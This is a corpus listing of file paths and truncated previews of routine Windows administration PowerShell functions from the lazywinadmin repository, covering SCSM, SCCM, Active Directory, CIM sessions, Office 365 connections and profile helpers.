PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1
Get-HashTableEmptyValue.ps1
Function Get-HashTableEmptyValue { <# .SYNOPSIS This function will get the empty or Null entry of a hashtable object .DESCRIPTION This function will get the empty or Null entry of a hashtable object .PARAMETER Hashtable Specifies the hashtable that will be showed .EXAMPLE Get-HashTableEmptyVal...
PowerShellCorpus/Github/lazywinadmin_PowerShell/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1
Get-SCSMWorkItemUserInput.ps1
function Get-SCSMWorkItemUserInput { <# .NOTES Initial version from http://itblog.no/4462 Output PSOBject instead of array #> [CmdletBinding()] Param ( $WorkItemObject ) BEGIN { #Declare Vars $userInput = "" $ListArray = @() } PROCESS { $UserInput = $WorkItemObject.UserInp...
PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-New-CimSmartSession/New-CimSmartSession.ps1
New-CimSmartSession.ps1
function New-CimSmartSession { <# .SYNOPSIS Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. .DESCRIPTION Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. This function requires at least PowerShell v3. .PARAMETER Com...
PowerShellCorpus/Github/lazywinadmin_PowerShell/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1
Get-ADSITokenGroup.ps1
function Get-ADSITokenGroup { <# .SYNOPSIS Retrieve the list of group present in the tokengroups of a user or computer object. .DESCRIPTION Retrieve the list of group present in the tokengroups of a user or computer object. TokenGroups attribute https://msdn.microsoft.com/en-us/library/ms680275%28...
PowerShellCorpus/Github/lazywinadmin_PowerShell/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1
Set-SCCMClientCacheLocation.ps1
function Set-SCCMClientCacheLocation { <# .SYNOPSYS Function to set the cache location on a SCCM Client .DESCRIPTION Function to set the cache location on a SCCM Client .PARAMETER ComputerName Specifies the name of the client on which the Cache location need to be changed .PARAMETER Location ...
PowerShellCorpus/Github/lazywinadmin_PowerShell/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1
Get-SCSMWorkItemRequestOffering.ps1
function Get-SCSMWorkItemRequestOffering { <# .SYNOPSIS Function to retrieve the RequestOffering used to create a specific work item. .DESCRIPTION Function to retrieve the RequestOffering used to create a specific work item. It will output the full object and add the work item Name and GUID to the ou...
PowerShellCorpus/Github/lazywinadmin_PowerShell/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1
ConvertTo-StringList.ps1
function ConvertTo-StringList { <# .SYNOPSIS Function to convert an array into a string list with a delimiter. .DESCRIPTION Function to convert an array into a string list with a delimiter. .PARAMETER Array Specifies the array to process. .PARAMETER Delimiter Separator between value, defa...
PowerShellCorpus/Github/lazywinadmin_PowerShell/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1
Get-SCSMWorkItemAssignedUser.ps1
function Get-SCSMWorkItemAssignedUser { <# .SYNOPSIS Function to retrieve the Assigned User of a Work Item .DESCRIPTION Function to retrieve the Assigned User of a Work Item .PARAMETER SMObject Specifies the SMObject(s) on which the Assigned need to be retrieve. .PARAMETER Guid Specifies ...
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/Microsoft.PowerShell_profile.ps1
Microsoft.PowerShell_profile.ps1
<# .SYNOPSIS Profile File .DESCRIPTION Profile File .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm #> ######################### # Window, Path and Help # ######################### # Set the Path Set-Location -Path c:\lazywinadmin # Refresh Help Start-Job -Name "UpdateHelp" -...
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Get-NetAccelerator.ps1
Get-NetAccelerator.ps1
function Get-Accelerators { [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get }
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Launch-InternetExplorer.ps1
Launch-InternetExplorer.ps1
function Launch-InternetExplorer { & 'C:\Program Files (x86)\Internet Explorer\iexplore.exe' "about:blank" }
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Find-Apartment.ps1
Find-Apartment.ps1
Function Find-Apartment { <# .SYNOPSIS Allow you search Appartement in craigslist .DESCRIPTION .NOTES #http://masterrex.com/?p=64 #> param ( [Parameter(Mandatory=$False)]$MinPrice="0", [Parameter(Mandatory=$False)]$MaxPrice="9999", [Parameter(Mandatory=$False)]$MaxPages=...
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Launch-ExchangeOnline.ps1
Launch-ExchangeOnline.ps1
function Launch-ExchangeOnline { Invoke-Item "https://outlook.office365.com/ecp/" }
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Test-ADCredential.ps1
Test-ADCredential.ps1
Function Test-ADCredential { Param($username, $password, $domain) Add-Type -AssemblyName System.DirectoryServices.AccountManagement $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) New-Object PSObj...
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/connect-office365.ps1
connect-office365.ps1
function Connect-Office365 { <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .DESCRIPTION This function will prompt for credentials, load module MSOLservice, load implicit modules for O...
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Launch-AzurePortal.ps1
Launch-AzurePortal.ps1
function Launch-AzurePortal { Invoke-Item "https://portal.azure.com/" -Credential (Get-Credential) }
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/Launch-Office365Admin.ps1
Launch-Office365Admin.ps1
function Launch-Office365Admin { Invoke-Item "https://portal.office.com" -Credential (Get-Credential) }
PowerShellCorpus/Github/lazywinadmin_PowerShell/_Profiles/functions/clx.ps1
clx.ps1
Function clx { [System.Console]::SetWindowPosition(0,[System.Console]::CursorTop) }